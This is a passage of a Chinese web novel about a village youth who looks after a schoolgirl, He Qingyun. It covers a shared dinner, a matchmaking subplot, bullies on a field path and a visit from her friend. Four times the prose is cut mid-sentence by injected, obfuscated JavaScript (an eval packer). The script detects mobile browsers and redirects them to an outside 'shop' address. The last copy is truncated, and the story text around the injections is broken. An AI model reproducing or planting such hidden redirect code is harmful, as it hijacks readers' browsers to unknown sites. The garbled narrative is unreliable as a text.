宋均山忙说:“不麻烦了北方哥,我们就是来看看八角,过会儿就……” “不麻烦。”梁北方打断他,声音从厨房传来,带着笑,“都到家门口了,哪有让走的道理。青云,带他们屋里坐,桌上有上午买的橘子。” “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372067|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何青云应了一声。 宋均山顺手将书包挂在门口的挂钩上,有点好奇:“原来你和北方哥这么熟啊。” 何青云脸上微微一热,小声解释:“也没有……就是妈妈工作忙,经常顾不上做饭,梁北方他会顺便多做一点,让我过来吃。” 宋均山听了,随即露出有点羡慕的笑容:“那你可有福了,何青云,北方哥做饭一绝,村里小孩都想天天过来蹭饭,谁都想做他的弟弟妹妹,北方哥可是我们全村的哥哥。” 原来他对谁都这么好。 何青云抿了抿唇:“他是挺好的。” 梁北方本身就很好。 “是吧,你能去吃饭,家里多点人气,他应该也挺高兴。” 今天的饭菜格外丰盛。除了常有的时蔬,桌上还摆了一盘红烧鸡翅,一盆山药排骨汤。 “北方哥,今天改善伙食啊。”宋均山笑着帮忙摆碗筷。 “你们难得过来。”梁北方说着,先盛了一碗汤放到何青云面前,“多吃点。” 四个人围坐吃饭,比平时热闹。陈宝娇小声地跟八角说话,宋均山和梁北方聊天,何青云默默吃着饭,偶尔抬头,看到梁北方一边听着宋均山说话,一边跟顺手地将她爱吃的菜往她那边推了推。 “北方哥——在家不?” 人还没到,大嗓门先传了进来。 何青云正挑着鱼刺,闻言抬眼望去。 一个穿着褪色牛仔外套,头发剃得极短的年轻男生晃了进来,皮肤晒得黢黑,一笑露出两排白牙。 “哟,吃饭呢!”他眼睛一亮,毫不客气地凑到桌边,“来得早不如来得巧啊北方哥。” 梁北方习以为常:“小六,吃了没?” “没呢,刚帮李叔搬完水泥,饿死了我要。”崔小六一屁股坐在宋均山旁边的空凳上,冲他们咧嘴笑,“均山宝娇也在啊?” 陈宝娇正小口小口啃着鸡翅,闻言抬头认真地说:“黑。” “噗——”何青云没忍住,赶紧低头扒饭。 崔小六也不恼,挠挠头:“天天太阳底下跑,能不黑吗?”他这才注意到何青云,眼睛眨了眨,“这是……新来的妹妹?” 梁北方盛了碗饭递给他:“别瞎叫人妹妹妹妹的,陈书记女儿,何青云。青云,这是崔小六,住村东头的。” “你好。”何青云小声打招呼。 “好好好!青云妹妹,名字好听人也漂亮得很!”崔小六接过饭碗,自己夹了一大筷子蔬菜,“我说北方哥,你这伙食可以啊,怪不得最近喊你一起喝酒都不肯了,原来家里有妹妹要照顾。” 梁北方懒得理他话里的调侃,给何青云夹了块排骨:“吃饭都堵不住你的嘴。” 崔小六嘿嘿一笑,扒了几口饭,突然想起什么似的,筷子一放:“对了哥,差点儿忘了正事。我今儿去镇上,碰到刘媒婆了,她拉着我问你呢。” 梁北方夹菜的手微微一顿:“问我什么?” “还能问啥?问你啥时候有空,去相看相看啊!”崔小六嗓门大,话也直,“你都二十七了,叔婶走之前最惦记的不就是这个?刘媒婆说了,村长表妹那闺女,叫秀梅的,对你可上心了,见天儿着打听你啥时候有空……” 何青云咀嚼的动作慢了下来,耳朵不由自主竖起来。 梁北方要娶老婆了吗? 8. 心绪不定 这个念头毫无征兆地撞进她脑子里,让她心口一绞。 他这么好的一个人,性格好会做饭,长得好看还宽肩窄腰,肯定有大把人喜欢。 何青云默默吃着饭,却觉得刚才还喷香的肌肉,此刻嚼在嘴里有些发干发柴。 当事人梁北方神色没什么变化,只淡淡道:“我现在没想这些。” “没想哪儿行啊!”崔小六急了,“哥,我知道你心里装着事儿,想着多挣点钱,把家里房子修修,再攒点老婆本,可你也得为自己想想啊。秀梅那姑娘我见过,卫生院儿的,勤快,实在……” “小六。”梁北方打断他,“吃饭。” 崔小六张了张嘴,看了眼桌上其他人,到底把话咽了回去,嘟囔道:“行行行,吃饭吃饭……反正话我带到了,刘媒婆说等你回话。” 饭桌上的气氛忽然变得有些微妙。 何青云忍不住偷偷抬眼去看坐在对面的梁北方,他正低头给八角扔了块骨头,侧脸在昏黄的灯光下显得轮廓分明,鼻梁高挺,嘴唇抿着,看不出情绪。 二十七岁……在村里确实该成家了。 要是娶老婆的话,再来照顾她这个非亲非故的妹妹,就显得有些不合时宜了。 她不知道自己心里难受个什么劲儿,明明和梁北方关系不算很熟,自己和他也只是搭伙吃饭的关系,他要谈恋爱要结婚都与她无关。 但是,何青云盯着碗里晶莹的米饭粒,感觉到自己心跳有点乱。 为什么,为什么会有不舒服的感觉呢? 她不明白,勉强吃完了碗里的饭,低声说:“我吃饱了,先回去了。”然后自己站起身,快步走了出去。 梁北方看着她几乎没怎么动的汤碗和剩下不少的蔬菜,眉头微蹙,但最后没多说什么,低头示意八角送送妹妹。 宋均山和陈宝娇也吃完告辞,屋里只剩下崔小六和梁北方。 梁北方将碗碟摞在一起,拿到厨房的水缸边舀水冲洗。崔小六晃悠过来帮忙,嘴里还哼着不成调的歌。 他边洗边想起刚才饭桌上的话题,兴致勃勃地开口:“北方哥,说真的,秀梅姐那事儿你真得上点儿心,你不是最想娶媳妇儿的吗!还有东头的小珍,镇上的芝莲,啧啧,都喜欢你的紧呐……唉哥,你说怎么没人喜欢我呢?” 梁北方手没停,语气却严肃了些:“小六,以后别在乱开这种玩笑,尤其是当着何青云的面。” 他不希望何青云误会什么。 崔小六一愣,随即讪笑:“哥,咋了?我就是随口一说,热闹热闹气氛嘛,之前不都……” 梁北方叹了口气,正色道:“她跟咱们不一样,还是个学生,脸皮薄,心思细。你当着她的面说这些,她该怎么想?是觉得我这邻居不正经,还是觉得我马上就要娶媳妇儿不管她了?” 他很认真:“再说她妈忙得顾不上家,她一个人在这儿,本来就容易没着没落的。既然陈书记让我照顾她,我自然是要担起当哥的责任,得注意些,别让她觉得咱们这儿的人说话没轻没重。” 崔小六恍然大悟,收起嬉笑:“我明白了北方哥,是我没考虑周全,青云妹妹看着是挺安静的……你放心,以后我绝对不在她跟前瞎咧咧这些!” 梁北方“嗯”了一声。 “那……哥,说真的,你自己到底咋打算的?那么多婶子给你提过,你就真没一个看得上?秀梅姐等你回话挺久了。”崔小六又忍不住好奇。 梁北方思索片刻:“你跟刘婶回个话,相亲的事,我去。时间地点,让她看着安排。” 见梁北方答应得爽快,崔小六也不含糊,高高兴兴点头。 “行呗,哥,我回头和她说。那就这样,话我也带到了,先走了北方哥,回头见哈!” 他“蹭”一下窜出去,和跑进来的八角打个照面。 八角跑到梁北方脚边,用头蹭蹭他,梁北方蹲下,揉了揉它的脑袋。 “把妹妹送回家了?” “汪汪汪——!” “真棒。”梁北方笑。 他回到堂屋,从未掩上的房门处瞧见对面灯亮,隔着不远的距离,能听到陈红似乎在对何青云说话,模糊含糊,听不真切。 他走到门口,看见何青云房间的灯亮了,黄暗暗的灯光将她的影子投射在百叶窗上,摇摇曳曳。 他没来由地想起何青云刚来那天。 大巴车扬起尘土,他从村长身后看去,第一眼只觉得这个小姑娘真白,白得像从来没晒过太阳的瓷娃娃,第二眼就是瘦,太瘦了,纤细得仿佛一阵风都能吹跑,裙子挂在身上空荡荡的。 她一直怯生生地躲在陈书记身后,低垂着眼睛,不敢看人。 直到村长介绍他,她才飞快地抬了下眼。 梁北方记忆深刻。 她的眼睛不是村里孩子常见的黑亮或机灵,而是像被雨水洗过的山涧,清凌凌的,里面藏着迷路小动物般的惶然。 当时他就觉得,这妹妹,太怕生了。 后来,她慢慢在他这儿吃饭,总是很安静,小口小口地吃,熟络之后,也会偷偷把不爱吃的菜趁他不注意飞快拨给桌下眼巴巴的八角,梁北方眼角余光瞥见,只当没看见,心里却觉得有些好笑——小孩子心性。 然后暗自记下,不再做这类菜。 她也不像别的小孩儿一样叫他北方哥,而是板板正正地喊: “梁北方。” 三个字从她嘴里叫出来,干净又清脆,像山泉滴在石头上,梁北方也不恼,反而觉得这么一叫,到真像他该照看着的自家妹妹一样。 虽然喂了这么久还是瘦,但是抱着八角笑的时候,整个人是软的,活的。 想着想着,梁北方嘴角不自觉弯下去。 是挺可爱的,他在心里想着,像个需要人仔细呵护,终于试探着伸出爪子的小动物。 他甚至觉得,如果自己真成了家,家里多这么一个乖巧的小妹,屋里大概也能多点不一样的气息。结婚对象要是性子好,说不定还能和青云处成姐妹。 到时候,家里热闹了,青云也多一个人照顾,多好。 – 不好,一点都不好。 何青云一手将陈宝娇护在身后,一边恶狠狠地盯着面前的人。 自从那顿饭之后,她和陈宝娇宋均山二人的关系变得亲近,有时放学还一起回家。 今天放学比平时早一些,宋均山被班主任叫去帮忙整理新打印的试卷,临走前特意嘱咐过何青云,让她们等一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372068|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 何青云点点头。 陈宝娇正专心致志地整理书包,把每一本书的边缘都对得整整齐齐,等陈宝娇终于满意地拉上书包拉链,学校里的人已经走得差不多了,宋均山还没出现,陈宝娇等得烦,拉着何青云就要去玩。 “走,走。” “唉,宝娇,等等……”陈宝娇看着瘦瘦小小的,力气却意外的大,何青云被她拉得踉踉跄跄。 只是去周围玩一下,应该……没事吧? 她妥协了:“好好好宝娇,我们去玩,就在附近好不好?” 一直走到岔路口,陈宝娇忽然指着旁边一条窄窄的田埂说:“这里,蒲公英。” 何青云犹豫了一下,看出陈宝娇亮晶晶的眼睛,应下:“好吧,那我们快点走。” 田埂两侧是半人高的玉米杆,在晚风里沙沙作响,陈宝娇很开心,嘴里不停自言自语。 何青云跟在后面,心里却莫名有些发毛。 太安静了。 就在她们走到一半时,玉米地里忽然传来窸窸窣窣的声音。 三个半大少年从里面钻了出来,拦在了路前头。 何青云心里一紧。她认得其中两个,是村里出了名的游手好闲的,初中毕业后就在镇上瞎混,总是出现在学校门口,偶尔回村里晃荡。 “哟,这不是城里来的转学生吗?”为首的黄毛咧嘴笑了,露出一口被烟熏地焦黄的牙,“旁边这个……陈傻子也放学啦?” 陈宝娇往何青云身后缩了缩。 何青云立刻把她护在身后,声音尽量平稳:“我们要回家,请让一下。” “回家?急什么呀。”另一个刺猬头少年嬉皮笑脸地凑近,“城里妹妹,跟我们玩玩呗?听说你妈是书记?挺厉害啊。” 他们的目光在何青云身上来回打量,那眼神让她胃里一阵翻腾。 “让开。”何青云又说了一遍,声音开始发颤。 几人对视一眼,哈哈大笑:“哟,妹妹生气啦?生气还这么漂亮,吓唬哥哥呢哈哈哈哈。” 黄毛忽然伸手,想去抓陈宝娇的书包带子:“傻子,书包里有什么好东西?给哥哥看看——” “不要!”陈宝娇惊慌地抱紧书包。 就在那只手快要碰到陈宝娇的瞬间—— 何青云也不知道哪来的勇气。 她一把将陈宝娇完全拉到身后,几乎是用尽全力,抡起自己的书包狠狠砸向黄毛的脸。 书包里装着好几本厚教材,重量不轻。 “砰”地一声闷响,黄毛被砸得踉跄后退,捂着鼻子骂了句脏话。 趁乱,何青云抓住陈宝娇的手腕,转身就往回冲。 “宝娇,跑!” “操!抓住她们!”身后传来愤怒的叫骂和追赶的脚步声。 何青云的心脏疯狂擂鼓,陈宝娇跑不快,几次差点绊倒,何青云几乎是拖着她往前冲,嘴唇被咬得发白。 身后的脚步声越来越近,粗重的喘息几乎就在耳后。 怎么办——? 就在绝望涌上心头的刹那,前方田埂的尽头,一个熟悉的高大身影出现在路口。 身体比大脑更快一步做出反应。 “梁北方——!!” 9. 秘密 声音划破黄昏的寂静。 梁北方闻言蓦然回头,暮色下,他看见何青云紧紧拽着陈宝娇踉踉跄跄地朝他跑来,在她们身后,三个小混混正穷追不舍。 他的眼神瞬间沉了下去,将手里把玩着的烟别到耳后,大步迎了上去。 那三个混混看见了人高马大的梁北方,追到一半的脚步明显迟疑了一下。几人互相看了一眼,不想把事情闹大,齐刷刷转身,飞快地钻会玉米地里,一眨眼就不见了踪影。 身后的喘息声消失不见,何青云还惊魂未定,又往前跑了几步,这才弯下腰喘气。 陈宝娇死死咬着嘴唇,一声不吭。 梁北方大跨几步到她们身边,微微弯下腰仔细检查她们的情况:“受伤了吗?有没有不舒服的地方?” 他的目光快速扫过何青云的脸,胳膊,腿,最后停留在她紧紧攥着书包带子的手上,“手有没有事?有没有伤到哪里?” 何青云摇摇头,又点点头,混乱得说不出话。 她都习惯性地要接受梁北方的批评了,批评她放学不快点回家,批评她不考虑自己安危又招惹是非,批评她非要走偏僻小道遇到混混流氓。 可是为什么,梁北方会轻轻掰开她紧握的手指,然后温和地问她:“疼不疼?” 她鼻头猛地一酸。 因为用力过猛,她的掌心被书包带子勒出了几道深深的红痕,有些地方已经破皮了。 眼前瞬间模糊,滚烫的液体不受控制地涌了上来。何青云死死咬住下唇,努力把那声哽咽堵在喉咙里。 她想起那次吃完饭之后几天,因为自己别扭的情绪,她刻意有些疏远了梁北方,平时要磨蹭很久才回自己家,这几天饭一吃完就离开,连八角凑过去蹭她,她都只是匆匆摸两下就收回手。 她知道自己这样很奇怪,可就是像小孩子赌气一样控制不住自己。 不能哭,不能在他面前哭出来。太丢脸了……可真的好委屈,为什么偏偏是现在?为什么他一句关心就能让她溃不成军? 她低下头。飞快地眨着眼睛,眼泪到底没有掉下来,被她硬生生憋了回去。 “不疼。”她轻声道。 梁北方在心里默默叹了口气。 真不让人省心啊。 就在这时,田埂另一端传来急促的脚步声。 “宝娇!何青云!” 宋均山气喘吁吁地跑来,显然是刚忙完学校的事后,没看到她俩人,才寻到这条小路来的。看见眼前的情景,他脸色一变,快步冲到宝娇身边。 “没事吧?有没有受伤?娇娇,发生什么了?”宋均山仔细检查了一遍陈宝娇的情况,发现她只是受了惊吓,这才稍微松了口气,转头看向何青云,“你呢?” 何青云摇摇头:“没事。” 梁北方简单说明了情况,宋均山脸色沉了沉,推了推眼睛:“那几个是李强他们吧?明天我就去找他们。” “先不说这个。”梁北方站起身,“青云,还有哪里不舒服吗?” 何青云想起自己这几天的别扭,声音不由自主变小:“没事……” 梁北方点点头,没再多问:“那走吧,我送你们回去。” 四人一起往回走,宋均山牵着已经平静下来的陈宝娇走在前面,不停和她说话,转移她的注意。梁北方和何青云并排走在后面,气氛沉默。 何青云悄悄用余光看他。 “梁北方。”她终于鼓起勇气开口。 “嗯?” “今天的事,你能不能,不要告诉我妈妈?” 梁北方脚步微顿,侧头看她。 何青云低着头,手指无意识地缠绕着书包带子:“她最近工作已经很忙了,天天很晚才回家,我不想让她再担心……而且,她要是知道我遇到这种事,肯定会更生气……” 她声音越说越小,小心翼翼地恳求。 梁北方闻言,很清晰,很认真地回答她:“好,我不说。” “真的?!” 看到何青云上扬地嘴角,梁北方也心情变好,肯定道:“真的,不骗你。要不要告诉陈书记,是你的权利。” “不过,”他话锋一转,“以后放学,尽量和同学一起走大路,安全第一。” “嗯。”何青云乖乖点头。 她视线落在梁北方侧脸上,下滑,看见了那只细长的白色烟卷夹在他耳廓间。 鬼使神差地,她开口问。 “梁北方,你……还抽烟的吗?” 话里带了点小小的震惊和讨厌。 她从小就讨厌烟味,闻到烟味就觉得无法呼吸并且伴随痛苦,每次路上有人抽烟,她要么默默快走远离二手烟,要么故意大声咳嗽希望烟人能有所愧疚,可每次都是无济于事。 如果梁北方也抽的话……那她就再也不要和他接触了。 梁北方抬手将耳后那只烟取了下来,捏在指尖。他手指很长,骨节分明,捏着那只纤细的烟,动作显得随意。 他知道何青云误会了,语气里带了点很淡的笑意解释:“我不抽烟,这烟是干活那群人给的。烟呛得很,味道很难闻,而且,你不是讨厌烟味吗?” 何青云愣住了。 他什么时候注意到的? 梁北方像是看出了她的疑惑,轻轻一笑:“上次我身上沾了点,你吃饭皱了好几次鼻子。” 这样啊。 何青云“哦”了一声,嘴角不自觉上扬。 她偷偷在心里幼稚地给对他的形象加了一分。 “……观察的还挺仔细的嘛” 梁北方听见了,偏过头看她,眼底那点笑意更明显了些:“不仔细点,万一哪天你把筷子一放,说‘梁北方你身上好难闻我不吃了’,我上哪说理去?” 何青云想象了一下,脸上有点挂不住,又想笑,她憋了一下,最终只挤出一句:“……我才不会那么说。” “嗯。”梁北方从善如流地点点头,“我们青云最有礼貌了。” 又走了一段路,送走了陈宝娇和宋均山,梁北方悠悠开口:“对了妹妹,我周六不在家,菜给你备好,你到时候直接去家里热一下就能吃了。” “……我知道了。” – 回到家,陈红坐在沙发上,见女儿这个点回来,有些惊讶:“今天怎么这么晚才回家?” 何青云边放书包边把手往后藏:“哦,今天……在学校打扫卫生,所以就晚了点。” 陈红没多说什么,从文件袋里抽出几本厚厚的练习册和一沓试卷。 “我今天去县里开会,碰到教育局的老同学,特意托她找了点东西。” 她把册子推到何青云面前:“这是市里几所重点高中近两年的月考,期中期末真题,还有他们内部的复习提纲。”她指了指试卷,“这套,是去年高考的模拟冲刺题,题型很新,答案解析也详细。” 何青云看着桌上突然多出来的一堆学习资料,愣住了。 “你们乡里学校的教学资源毕竟有限,都没有周考月考,”陈红坐了下来,语气难得有耐心,“这些题你自己抽空做做,特别是数学英语,这种主科你们文科最能拉分,自己要上点心知道吧,高二了,时间不等人。” 若是平时,何青云可能又会觉得压力大,会不耐烦,会跟妈妈顶嘴,但今天,她格外乖顺。 “我知道了妈妈,我会好好做的。” 陈红欣慰地笑了笑:“你能明白就好,妈妈也是为了你能考上好大学。行了行了,快去洗澡刷牙,时间不早了。” 何青云慢吞吞地洗了澡,出来后自己吹了头发,顶着蓬松的头发在客厅晃悠,看到妈妈坐在沙发上看文件,她蹭过去,挨着陈红坐下。 “妈妈——我今晚跟你睡。” “自己房间睡不舒服?” “没有,就是想和你睡了。”何青云难得拿娇,“我要和你睡嘛,我保证这几天好好做题,不跟你顶嘴。” 这话说得幼稚,陈红忽然就想起女儿小时候怕黑,总要黏着她睡好久,后来长大了,有了自己的房间和心思,母女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372069|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩甚至经常吵架,已经很久没有这样亲近过了。 是不是因为转学不适应?还是自己太忙忽略了她? 陈红心里掠过一丝自责,她最终妥协了:“行吧。你先去睡,我一会儿就来。不过说好了,就今晚,都这么大姑娘了,不能老赖着妈妈。” “嗯!”何青云立刻点头,“我先上去啦。” 她走到自己房间,从枕头底下摸出手机,屏幕的冷光在黑暗中亮起。 微信置顶的聊天框有新的消息,是晏书慧。 晏:【救命!我们后天周考,我政治一个都没背,焦虑死我了!!】 晏:【你那边考试多不多啊?我恨周考!】 何青云指尖顿了顿,她这里,连一次正式的月考都还没影子,一种被抛在原地的感觉爬上心头,她敲下回复。 何:【还没呢,进度慢。】 晏:【啊!好羡慕!!不过你们进度慢的话,后面复习的时间会被压缩唉。】 晏:【不过真么多考试,我倒是心态稳了,反正考来考去成绩都那样。】 她话里感慨,何青云看着,心里那点落差被放大了。她和晏书慧在原学校成绩差不多,每次大考小考,她都会暗暗比较分数,考得差了,就忍着羡慕,默默消化,考得好了,就偷偷开心,说自己只不过运气好。 现在,书慧在往前跑,适应着更紧张的节奏,而自己,似乎还停在原地。 何青云甩甩头,把这无所谓的比较压下去,回复道: 何:【嗯,我妈今天刚拿回来你们那的题让我做。】 晏:【陈阿姨行动力这么强!】 晏:【对了,最近学校外面新开了家麻辣拌,我和张雯雯她们天天去买,超级好吃!】 张雯雯,她们班上的另一个女生,成绩好,性格开朗,和书慧有很多共同的圈子,在何青云转走之前,她们三个经常会一块儿玩。 何青云盯着屏幕,沉默良久。 她手指在屏幕上戳,语气淡了下来。 何:【哦。】 只有一个字,发送。 她其实有些期待书慧能察觉到她的异常,能注意到她冷漠的语气,能向她证明她们才是最好的朋友。 可消息气泡弹出的瞬间,何青云后悔了。 这样太别扭,太小家子气了。莫名其妙的生气,只会把朋友越推越远的。 她立马长按消息,迅速撤回,祈祷书慧没有看到。然后重新打字,试图让一切恢复正常。 何:【想吃……】 晏书慧的回复很快来了,似乎并没有在意被撤回的信息是什么。 晏:【等你回来带你去吃!】 晏:【唉,你啥时候回来啊。我们周六放一天假,要不然我来找你玩儿吧?】 何青云立马抛开敏感的心思,算了一下课表。 他们学校高中部周六上午补课,下午和周天休息,高三另外安排。 何:【我们周六下午和周天放。】 晏:【那正好!我周六下午来找你吧?我去你们镇上,我们见面!】 何青云按耐不住兴奋。 何:【好!我到时候来接你,我们可以去镇上逛逛,吃点东西,我都没怎么去镇上逛过呢。】 晏:【好!我到了就给你发消息。】 何:【嗯。不早了我得睡了,晚安书慧。】 晏:【晚安晚安,好激动呀!】 手机放下,妈妈正好上来,她掀开被子躺下,注意到女儿的情绪。 “怎么了这么兴奋?” 何青云探出头,贴着妈妈:“妈妈我周六去镇上哦,晏书慧要来找我。” “可以,我给你一百块钱吧,你们俩自己去买点东西,人家来一趟也不容易。” “好。” 闻着妈妈身上熟悉的味道,何青云迷迷糊糊进入梦乡,模糊中,她想到自己应该给梁北方说一声让他别做饭了。 可是她好像还没有他的联系方式。 只能明早跟他说了。 10. 手账本 相亲角 “梁北方,周六不用给我做饭了哦。” “嗯?” “我朋友要来找我,我们去镇上吃!” “好,玩得开心。” “嗯嗯。” _ 周五晚上,何青云纠结周六穿什么。 提前看了天气预报,已经是五月初,天气已经开始发热,裙子她没有几条,穿裤子好像有点热……如果下雨了怎么办?她可不想淋成落汤鸡…… 学校周六并不强制穿校服,她索性把所有的衣服瘫在床上,搭配出一套,左手拎出一条连衣裙,用手拿着衬衫,对着房间里的镜子比了又比。 她翻箱倒柜叮叮咚咚声音太大,在隔壁已经睡下的陈红忍不住啰嗦几句。 “何青云!别搞太晚了,你明天还有课,快点去睡觉!” “知道了妈妈——” 何青云放轻了动作,整理好第二天要带的东西放进书包,转身钻进被窝。 她已经开始幻想和晏书慧见面的场景,翻来覆去兴奋得不行。 结果是第二天顶着两个大大的黑眼圈来到学校。 “早上好呀!”陈宝娇兴奋地打招呼,精力十足。 “早。”早上坏。 何青云哈欠连天,淡淡回应,扯开咖啡条倒进杯子。等她接热水回来,陈宝娇在一旁探头探脑。 “这是什么?” “咖啡,我太困了,醒瞌睡用的。” “好喝吗?你能不能,给我尝一口呀。” “……很难喝。”何青云搅拌杯子,让咖啡粉融化,一股浓郁而苦涩的香气弥漫开来。伸手接过同桌的杯子,“我就给你倒一点点哦。” 陈宝娇眼一眨不眨地看何青云操作,兴冲冲地双手接过杯子,戳戳前面记单词的宋均山。 “宋均山宋均山,我要喝咖啡了哦。” 宋均山好脾气转头,“你喝。” 陈宝娇表演似的,煞有介事地一口闷,然后“哇”一下吐会杯子里,一整张脸苦兮兮的,伸出舌头连连哈气:“……好难喝。” 宋均山觉得好笑,递过去早就准备好的纸和水果糖:“现在知道味道,以后就不喝了。” 陈宝娇抓过糖剥开塞嘴里,又伸出手:“还要,我要菠萝味的。” 从口袋里掏出一把,宋均山摊开手道:“你自己选。” 陈宝娇一个颜色选一个,开开心心的打算给何青云分,转头发现何青云已经趴下去睡了,只好撇撇嘴作罢。 何青云睡到上课,铃响爬起来强忍睡意听课,一下课又立马补觉,直到大课间才彻底清醒过来。 周六大课间不跑操,教室里三三两两在聊天吃东西,也有人埋头做题。 她揉了揉眼睛,转动僵硬的脖子,发现陈宝娇正安安静静地捧着一本书看。 书的封面很素雅,天蓝色,上面画了一只棕熊拿着手绢,何青云觉得眼熟,眯起眼睛仔细看。 《北风遗忘的手绢》,作者安房直子。 她的心轻轻动了一下。安房直子,她最喜欢的日本童话作家。笔下天蓝色的童话,无论什么时候读,都会感到心正像云朵一样一点点变得柔软。 “你也喜欢安房直子吗?”何青云轻声问。 陈宝娇抬起头,四根手指搭成一个菱形窗户,从里面对着她笑:“窗户!”翻到其中一个故事,“狐狸的窗户。” 两个女孩就着那本摊开的书,轻声交流了几句关于童话,关于那些奇幻故事的感想。 上午很快过去,离放学还有五分钟,何青云早早收拾好书包,心已经飞向了镇上的汽车站,下课铃一响,她匆匆道别,几乎是跑着出了校门。 初夏的风吹在脸上,带着阳光和尘土的味道。她沿着土路往镇上走,脚步轻快,越靠近约定时间,心跳得越快,紧张,期待,又雀跃。 镇子比村里热闹许多,街道狭窄,两旁是各色店铺,人群熙攘。何青云找到汽车站,站在出站口旁边一个显眼的位置,紧紧盯着每一辆进站的汽车。 时间一分一秒过去,又一辆中巴车摇晃着驶入,扬起一片尘土。车门吱呀打开,乘客鱼贯而下。 何青云踮起脚尖,目光急切地扫过人群。 一个穿浅粉色罩衫的女孩正背着双肩包,有些茫然地被挤下车。 何青云立马挥手。 “晏书慧——我在这里!” 几个月没见,晏书慧头发剪短了一点,婴儿肥的脸上架着黑框眼镜,显得更精神了。 晏书慧也看见了她,蹦跶两下跑过来。 “青云——!” 两个人用力抱在一起咯咯乱笑,全然不顾旁人目光,嘴角扬起高高灿烂的笑容。 分开一点距离,两人互相打量着,眼里都是亮晶晶的。 “想死你了,青云!” “我也是。” 何青云拉着晏书慧的手:“走啦走啦,我请你喝奶茶去。” 她带着晏书慧穿过嘈杂的街道,拐进一条相对安静的巷子,走到尽头是一家装修得很洋气的奶茶店,店面很大,里面摆着七八张方桌,来的人大多是和她们差不多年纪的小女生,或者来约会的情侣。 “我提前问过啦,这里奶茶好喝。”何青云小声道,拉着晏书慧在最靠里的角落坐下,点了两人想喝的奶茶。 “人还挺多呢。”晏书慧坐下,好奇地环顾四周。 “将就一下吧,”何青云有点不好意思,“镇上就这一家最时尚了。” “没事没事!”晏书慧摆摆手,已经利落地从自己那个鼓鼓囊囊的双肩包里往外掏东西,“你看我带了什么——” 她拿出一个厚厚的,封面贴满漂亮胶带和贴纸的笔记本。 “我们的交换手账!我又补了好多!” 何青云接过那本熟悉的手账,一页页翻看。里面贴着晏书慧这段时间收集的电影票根,奶茶店新品标签,学校里捡到的银杏叶,还有用彩色笔写的碎碎念,字迹时而工整时而潦草,记录着心情,吐槽和琐事。 翻到最新一页,上面画着两个小人手拉手,旁边写着:“今天要去见青云啦!!”还画满了小花和星星。 “我也写了点,但没你多。”何青云也拿出自己的手账本,两人把头凑在一起,开始互相补充内容。 奶茶也做好端上来,一杯葡萄青柠茶,一杯草莓多福,都是鲜亮的颜色。 晏书慧喝了一大口:“好喝!!青云你也来一口!” “我这个也好喝,给你喝一口。” “对了,还有这个!”晏书慧神秘兮兮地抽出一张纸,“这周周考的成绩表,我偷偷顺了一张。” 何青云接过,视线扫过一个个熟悉的名字和后面的数字。那种感觉很奇怪,仿佛透过这张纸,她又能短暂地触摸到那个已经远离的世界。 她还记得她们之前每次考完试出成绩的晚自习,拿着成绩表能研究一整个晚自习。 “你看张浩,这一学期数学都一百二以上,这次都快一百三了!你说他怎么就学开窍了呢?” “李静英语跌了,听说她谈恋爱被老班找,是和隔壁那个装男谈的,啧啧眼光真差。” 晏书慧一个个点评。 “哈,赵晨这个讨厌鬼这次考得巨差,倒数第七,估计要被叫家长了。” “我跟你说二班王老师这次出题太变态了,年级平均分比上次低了十分……” 晏书慧快速地分享着背后的八卦和情报,何青云听着心里有怀念,有焦虑,她暗自估算自己可能考多少,排第几名。 两个女孩的脑袋越凑越近,完全沉浸在自己的世界里,时而惊呼,时而窃笑。 – 与此同时,镇子的另一头,饭店二楼靠窗的卡座里。 梁北方拉开椅子坐下,手机顺手搁桌上。 “不好意思,临时有人找,我来晚了。” 他在说话,马秀梅偷偷看着他,脸颊泛着红。 梁北方也看她一眼。 秀梅很漂亮,二十八九岁,穿着红格子上衣,黑裤子,头发在脑后扎成一个丸子,鹅蛋脸,眼睛大大的,脸上化了淡妆。 刘媒婆坐在两人中间笑眯眯的。 只一眼,梁北方就确定他不会再和秀梅有联系了。 他对她没感觉,也不想耽误了人。 刘媒婆赶紧接话:“没事,我和秀梅也刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 